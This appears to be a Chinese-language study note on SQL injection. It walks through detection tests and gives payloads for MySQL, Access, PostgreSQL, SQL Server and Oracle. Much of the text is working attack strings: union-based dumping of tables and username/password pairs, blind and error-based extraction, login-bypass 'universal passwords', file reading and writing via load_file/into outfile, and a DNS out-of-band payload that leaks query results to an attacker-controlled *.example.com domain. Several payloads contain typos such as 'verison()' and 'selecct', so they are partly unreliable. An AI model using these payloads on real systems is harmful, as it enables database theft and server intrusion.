【笔记】SQL注入攻击

前言

SQL注入(英语:SQL injection),也称SQL注入或SQL注码,是发生于应用程序与数据库层的安全漏洞。简而言之,是在输入的字符串之中注入SQL指令,在设计不良的程序当中忽略了字符检查,那么这些注入进去的恶意指令就会被数据库服务器误认为是正常的SQL指令而执行,因此遭到破坏或是入侵。(维基百科

漏洞原理

  • 在请求参数中携带恶意SQL代码,服务器端接收到SQL语句后,将恶意SQL语句执行,从而实现SQL注入攻击

漏洞利用

根据数据类型分类

  • 数字型SQL注入
    • 在注入时不需要考虑引号的闭合问题
  • 字符型SQL注入
    • 在注入时需要考虑引号的闭合问题

根据注入手法的分类

  • UNION query SQL injection 联合查询(针对查操作)
  • Error-based SQL injection 报错注入(针对查操作)
  • Boolean-based blind SQL injection 布尔盲注(针对查操作)
  • Time-based blind SQL injection 延时注入(针对查操作)
  • Stacked queries SQL injection 堆叠查询(针对增删改操作)

根据注入原理的分类(GPC)

  • GET数据
  • POST数据
  • Cookie数据

注入点位置

  • 注入点:可以拼接SQL语句的位置
  • *作为注入点位置标识

参数注入

  • GET请求通过param参数或path参数注入
request
1
GET http://127.0.0.1:80/api/item?id=99*
  • POST请求通过body参数注入
request
1
2
3
4
POST http://127.0.0.1:80/api/item
Content-Type: application/x-www-form-urlencoded

id=99*

请求头注入

XFF注入
  • 部分后端程序通过潘定请求头中的X-Forward-For参数来判定失败的登录次数,如果这个次数存储在了数据库中,则可以使用X-Forward-For作为注入点
request
1
2
GET http://127.0.0.1:80/api/item?id=99
X-Forwarded-For: 127.0.0.1*

数据类型测试

  • 操作:根据报错信息,判断1在数据库中存储时的数据类型
  • 结论:当出现形如'''的报错信息时,判断该数字是以数值型数据存储在数据库中;当出现形如'1''的报错信息时,判断该数字是以字符型数据存储在数据库中
1
?id=1'

打断测试

  • 操作:如果成对的括号被中断,同时使用注释打断后面的语句,就可以实现sql语句的控制
  • 原理:php中定义sql语句时,会使用括号进行包裹从而定义sql语句为字符串

'用来打断被引号引起来的内容

'")]}\/,.

-- 用来打断后面的SQL语句

#(需要进行url编码)、--

1
?id=1' -- 1
1
?id=1') -- 1
1
?id=1'] -- 1
1
?id=1'} -- 1

宽字节测试

  • 如果后端对'进行了\转译,如果直接传递?id=1',实际上后端得到的是?id=1\',所以可以采用宽子节测试
  • PHP中如果开启了magic_quotes_gpc则会触发\转译
  • PHP中如果使用了addslashes()函数则会触发\转译
1
?id=1%df' -- 1

注入手法测试

  • 通过传递不同的参数,判断页面加载,测试出可以使用哪种手法注入
  • 只要可以使用任意一种注入手法,就可以断定存在SQL注入漏洞

注入点存在测试

  • 操作:多次传递不同的数值判断页面是否有变化
  • 原理:如果id=任何一个数,页面能被动态渲染不同的数据,说明参数变量传递成功,注入点存在
1
2
?id=1
?id=2
测试结论
  • 如果页面有变化,可以使用联合查询注入
  • 如果页面没有变化,继续判断布尔测试结果

布尔测试

  • 操作:通过两次传递能返回布尔值的语句,判断页面是否报错
  • 原理:如果两次传递能返回布尔值的语句,发现页面不同,说明返回布尔值执行成功
1
2
?id=1 and 1=1
?id=1 and 1=2
  • 测试结论
    • 如果有报错,可以使用报错注入
    • 如果没有报错
      • 如果两次页面不同,可以使用布尔盲注
      • 如果两次页面相同,继续判断延时测试结果

延时测试

  • 操作:通过传递包含sleep()函数的语句,判断页面是否延时显示(通过开发者工具的网络选项查看)
  • 原理:sleep()函数可以起到延时的效果,如果页面加载成功延时,说明sleep()函数执行成功

<time>:指定延时时间

1
?id=1 and sleep(<time>)
  • 测试结论
    • 如果有报错,可以使用报错注入
    • 如果没有报错
      • 如果页面成功延时加载,可以使用延时注入

当代码中出现了编码

如果是GBK编码

1
?id=1%ff'

base64注入

  • 如果代码中出现了base64编码,需要重新将注入语句进行编码,然后再发送请求

MySQL渗透测试

联合查询注入

  • 原理:MySQL的union语句,实际上是用来去重取交集的,特点是可以指定一个查询语句与前面的查询语句进行组合,得到结果,但要求是前后两组sql语句得到的列数相同

  • 可以通过union后面指定的查询语句,实现覆盖前面的查询语句,得到自己想要的字段的内容,展示在页面上

  • 必要条件:两张虚拟的表具有相同的列数,虚拟表对应的列的数据类型相同

    • 数值型可以自动转换成字符串类型
    • 不满足必要条件时,可以使用子查询语句
  • 基本语法

<select>:查询语句

1
<select_1> union <select_2>

注入点个数测试

  • 原理:MySQL的order by语句,实际上是用来排序数据的,如果order by语句后有数字,表示根据第几个字段排序,当没有那个指定数量的字段时,会报错
    • 例如:order by 2,表示根据第2个字段进行数据的排序,如果没有第2个字段,则报错
  • 所以可以通过order by语句,得到字段数量临界值
    • 例如:从order by 1开始测试,当执行到order by 3时,页面报错,说明这个数据表只有2个字段,2就是临界值
1
2
?id=1 and order by 1
?id=1 and order by 2
  • 也可以直接使用union语句测试注入点个数
    • select 1,2,...不再报错时,表示注入点个数测试完成
  • id=1改为其他不存在的id,这样才能展示union后面的select语句的内容
1
?id=-1 union select 1,2
  • 也可以使用布尔值为false的语句(例如1=2)强制让union前面的select报错,从而展示union后面的select语句的内容
1
?id=1 and 1=2 union select 1,2

注入点位置测试

  • 在找到注入点个数后,可以开始注入点位置测试
  • 通过查询数字1、数字2(根据注入点个数指定数字数量),在页面查看注入点的位置,如果有回显,则可以替换其他SQL语句用于查看查询结果
  • 原理:当union前面的查询语句值为假,则后面的查询语句会被执行

1,2:直接展示在页面上的内容(根据注入点个数指定数字数量)

1
?id=-1 union select 1,2

盲注

基于延时的盲注

  • 盲猜敏感信息,利用IF()语句判断,将SLEEP()语句作为IF()语句的结果,通过判断页面是否延时加载,确定猜测是否正确
猜测数据库名长度
  • 如果猜对,延时5秒
1
?id=1 and if(length(database())=1,sleep(5),1)
  • 如果猜错,延时5秒
1
?id=1 and if(length(database())=1,1,sleep(5))

基于布尔的盲注

  • 通过构建布尔值的判断,盲猜敏感信息
  • 如果猜对则页面显示正常,如果猜错则页面显示不正常
猜测数据库名长度
1
?id=1 and length(database())=1
猜测数据库名每个字符的ascii码
1
2
3
4
5
6
7
# 第一个字符
?id=1 and ascii(substr(database(), 1, 1))>100

# 第二个字符
?id=1 and ascii(substr(database(), 2, 1))>100

# ...

基于报错的盲注

  • 在报错的回显中,插入敏感信息
  • 如果php中存在die(mysql_error())相关代码,则说明存在基于报错的盲注
重复键冲突报错
  • 利用MySQL编号为#8652的bug,复现重复键冲突报错
  • 这个漏洞存在一定几率

<select>:查询语句

1
?id=1 and (select 1 from (select count(*),concat((<select>),floor(rand()*2))x from information_schema.tables group by x)a)
1
?id=1 union select (concat(left(rand(),3),'^',(<select>),'^')a,count(*),3 from information_schema.tables group by a)
不同的SQL语句构造方式

<select>:查询语句
<select_field>:指定想要查询的字段

1
select concat(left(rand(),3),'^',(<select>),'^') x,count(*) from information_schema.tables group by x;
  • 如果查询的表被禁用了,可以自己构建一个表
1
select concat('^',(<select_field>),'^',floor(rand()*2))x,count(*) from (select 1 union select null union select !1)a group by x;
  • 如果rand()或count()被禁用了
1
select min(@a:1) from information_schema group by concat('^',<select_field>,'^',@a:=(@a+1)%2);
  • 不依赖额外的函数和具体的表
1
select min(@a:=1) from(select 1 union selecct null union select !1)a group by concat('^',<select_field>,'^',@a:=(@a+1)%2);
XPATH报错
  • 0x7e是占位符~的十六进制,用来分隔需要显示的查询结果
  • 0x5e是占位符^的十六进制,用来分隔需要显示的查询结果

<select>:查询语句

1
?id=1 and updatexml(1, concat(0x7e, (<select>), 0x7e), 1)
1
?id=1 and extractvalue(1, concat(0x7e, (<select>), 0x7e))

登录框注入

万能密码

  • 输入任意密码,并构造一个结果为true布尔值
1
123456' or 1=1
1
123456' or '1'='1

cookie注入

  • 在Burp中可以拦截包含Cookie的请求,发送到Repeater模块,通过修改Cookie的内容实现注入

  • 也可以使用前端的控制台,通过JS的document.cookie=代码,修改Cookie的内容实现注入

  • Cookie中使用#作为注释

其他位置的注入

User-Agent注入

  • 如果代码中调用了User-Agent作为变量,可以在Burp中拦截包含user-agent的请求,发送到Repeater模块,通过修改User-Agent的内容实现注入

Referer注入

  • 如果代码中调用了Referer作为变量,可以在Burp中拦截包含user-agent的请求,发送到Repeater模块,通过修改Referer的内容实现注入

信息收集

获取数据库版本

  • 查看版本是否大于5.0
1
?id=-1 union select verison()

获取当前用户名

  • 查看用户是否是root
    • 如果是root可以进行文件读写
1
?id=-1 union select user()

获取操作系统

  • 通过操作系统判断是否支持大小写
  • 通过操作系统判断文件路径的斜线
1
?id=-1 union select @@version_compile_os

脱库

获取数据库名

1
?id=-1 union select database()

获取数据表名

1
2
?id=-1 union select
(select group_concat(table_name) from information_schema.tables where table_schema='<database_name>')
绕过

table_schema:指定数据库名的16进制数

0x:0x后拼接16进制数,这个十六进制数是由想要查询的数据库的库名通过字符串转16进制数转换来的

concat():字符串拼接函数
hex():字符串转换为十六进制函数
database():获取数据库名函数
group_concat():将一组字符串拼接为一个字符串,以逗号分隔

1
2
?id=-1 union select
(select group_concat(table_name) from information_schema.tables where table_schema=concat('0x', hex(database())))

获取字段名

1
2
?id=-1 union select
(select group_concat(column_name) from information_schema.columns where table_schema='<database_name>' and table_name='<table_name>')
绕过
1
2
?id=-1 union select
(select group_concat(column_name) from information_schema.columns where table_schema=concat('0x', hex(database())) and table_name=concat('0x', hex(database())))

获取数据

1
2
?id=-1 union select
(select <field_name> from <table_name>)
绕过

<table_name>:数据表名
usernamepassword:想要查询的字段名
%20:url编码后的空格字符串,用于分隔开展示的多条数据,防止混淆

1
2
?id=-1 union select
(select concat(username,'%20',password) from <table_name>)

0x3a:十六进制编码后的冒号字符串,用于分隔开展示的多条数据,防止混淆

1
2
?id=-1 union select
(select concat(username,'0x3a',password) from <table_name>)

文件读写

检测当前用户是否具有文件读写权限

1
SELECT File_priv FROM mysql.user WHERE user='root' AND host='localhost';

文件读取

<file>:想要读取的文件的路径,Windows上可以使用\\分隔层级,Linux上可以使用/分隔层级

1
?id=-1 union select load_file('<file>')

文件写入

<string>:通过查询语句获取的字符串
<file>:想要写入的文件

1
?id=-1 union select '<string>' into outfile '<file>'

堆叠注入

  • 多句SQL压缩为一句进行注入
  • 支持堆叠注入的数据库必须具有结束分割符,如:MySQLMSSQLPostgreSQL
1
?id=-1 union (select); show databases()

二次注入

  • 先通过新增接口和修改接口将想要注入的SQL语句写入数据库,再通过查询接口执行SQL语句

DNS带外

  • 在极端情况下,目标站点没有向外访问除了DNS协议以外的协议的权限,此时可以利用MySQL的文件加载函数,向自己的DNS服务器发送请求,从而泄露数据
  1. 创建一个监听53端口的服务,且允许子域名传递任意值都能被正确访问(*.example.com
  2. 利用SQL注入访问自己部署得服务
1
?id=-1 and (select load_file(concat("//", (<select>), ".example.com")))
  1. 查看请求者请求的域名,其中子域名携带的内容就是泄露的数据

Access渗透测试

  • 与MySQL渗透测试基本相同,但Access不存在文件读写权限

联合查询注入

  • Access数据库在使用查询语句时,必须使用from <database_name>关键字,而且数据库名必须存在

<select>:查询语句

1
<select_1> union <select_2> from <database_name>

偏移注入

  • 如果表名或列明猜不到,可以采用偏移注入,随机爆破数据

  • 减少6个注入点,用*代替

<table_name>:数据表名

1
?id=-1 union select 1,2,3,4,5,6,7,8,9,* from (<table_name> as a inner join <table_name> as b on a.id=b.id)
  • 如果爆破失败,可以继续减少6个注入点,以此类推,直至注入点不足
1
?id=-1 union select 1,2,3,* from ((<table_name> as a inner join <table_name> as b on a.id=b.id) inner join <table_name> as c on a.id=c.id)

PostgreSQL渗透测试

联合查询注入

<select>:查询语句

1
<select_1> union <select_2>
  • 注意:Access数据库在使用查询语句时,必须使用from <database_name>关键字,而且数据库名必须存在

注入点个数测试

  • 使用null作为注入点
1
?id=-1 union select null,null

注入点位置测试

  • 使用'null'作为注入点时,如果存在注入点回显,会回显为null
1
?id=-1 union select 'null',null
1
?id=-1 union select null,'null'

信息收集

获取数据库版本

1
?id=-1 union select version()

获取当前用户名

1
?id=-1 union select current_user

脱库

获取数据库名

1
?id=-1 union select current_database()

获取数据库名

1
?id=-1 union select string_agg(datname,',') from pg_database

获取数据表名

1
?id=-1 union select string_agg(tablename,',') from pg_tables where schemaname='<database_name>'
1
?id=-1 union select string_agg(tablename,',') from pg_stat_user_tables

获取字段名

1
?id=-1 union select string_agg(tablename,',') from information_schema columns where table_name='<table_name>'

获取数据

1
?id=-1 union select string_agg(<field_name>,',') from <table_name>

查询DBA用户的用户名

  • 如果当前用户是DBA用户,可以进行文件读写
1
?id=-1 union select string_agg(usename,',') from pg_user where usesuper is true

SQLServer渗透测试

联合查询注入

<select>:查询语句

1
<select_1> union <select_2>

注入点个数测试

  • 使用null作为注入点
1
?id=-1 union select null,null

注入点位置测试

  • 使用'null'作为注入点时,如果存在注入点回显,会回显为null
1
?id=-1 union select 'null',null
1
?id=-1 union select null,'null'

信息收集

获取数据库版本

1
?id=-1 union select @@version

获取当前用户名

当前数据库用户
1
?id=-1 union select user
1
?id=-1 union select current_user
系统用户
1
?id=-1 union select system_user

获取操作系统

1
?id=-1 union select @@servername

脱库

获取数据库名

1
?id=-1 union select db_name()

获取数据表名

获取当前表名
1
?id=-1 union all select (select top 1 name from <database_name>.<user_name>.sysobjects where xtype='u')
获取其他表名
1
?id=-1 union all select (select top 1 name from <database_name>.<user_name>.sysobjects where xtype='u' and name not in ('<table_name>'))

获取字段名

<index>:字段索引

1
?id=-1 union all select (select top 1 col_name(object_id('<table_name>'), <index>) from sysobjects)

获取数据

1
?id=-1 union all select (select <field_name> from <table_name>)

Oracle渗透测试

联合查询注入

<select>:查询语句

1
<select_1> union <select_2> from dual

注入点个数测试

  • Oracle需要使用from dual测试注入点
1
?id=-1 union select 1,2 from dual

注入点位置测试

  • 依次添加'',判定是否有回显点
1
?id=-1 union select '1',2 from dual
1
?id=-1 union select '1','2' from dual

脱库

获取数据表名

准确查询
  • 查询第1个数据表名
1
?id=-1 union select (select table_name from user_tables where rownum=1) from dual
  • 查询第2个数据表名
1
?id=-1 union select (select table_name from user_tables where rownum=1 and table_name not in ('第1个数据表名')) from dual
  • 查询第3个数据表名
1
?id=-1 union select (select table_name from user_tables where rownum=1 and table_name not in ('第2个数据表名')) from dual
  • 以此类推
模糊查询
1
?id=-1 union select (select table_name from user_tables where rownum=1 and table_name like '%关键字%') from dual

获取字段名

准确
  • 查询第1个字段名
1
?id=-1 union select (select column_name from all_tab_columns where rownum=1 and table_name='<table_name>') from dual
  • 查询第2个字段名
1
?id=-1 union select (select column_name from all_tab_columns where rownum=1 and column_name not in ('第1个字段名') and table_name='<table_name>') from dual
  • 查询第3个字段名
1
?id=-1 union select (select column_name from all_tab_columns where rownum=1 and column_name not in ('第2个字段名') and table_name='<table_name>') from dual
  • 以此类推

获取数据

1
?id=-1 union select (select <field_name> from <table_name>)

代码审计

  • 查找执行SQL语句的代码,如果执行的SQL语句是从用户输入,则需要关注SQL注入攻击
1
$results = mysqli_query($link, '<sql>');

完成

参考文献

哔哩哔哩——腾讯掌控安全学院
哔哩哔哩——千锋教育网络安全学院
哔哩哔哩——掌控安全学院
哔哩哔哩——逆风微笑的代码狗
哔哩哔哩——xiaodisec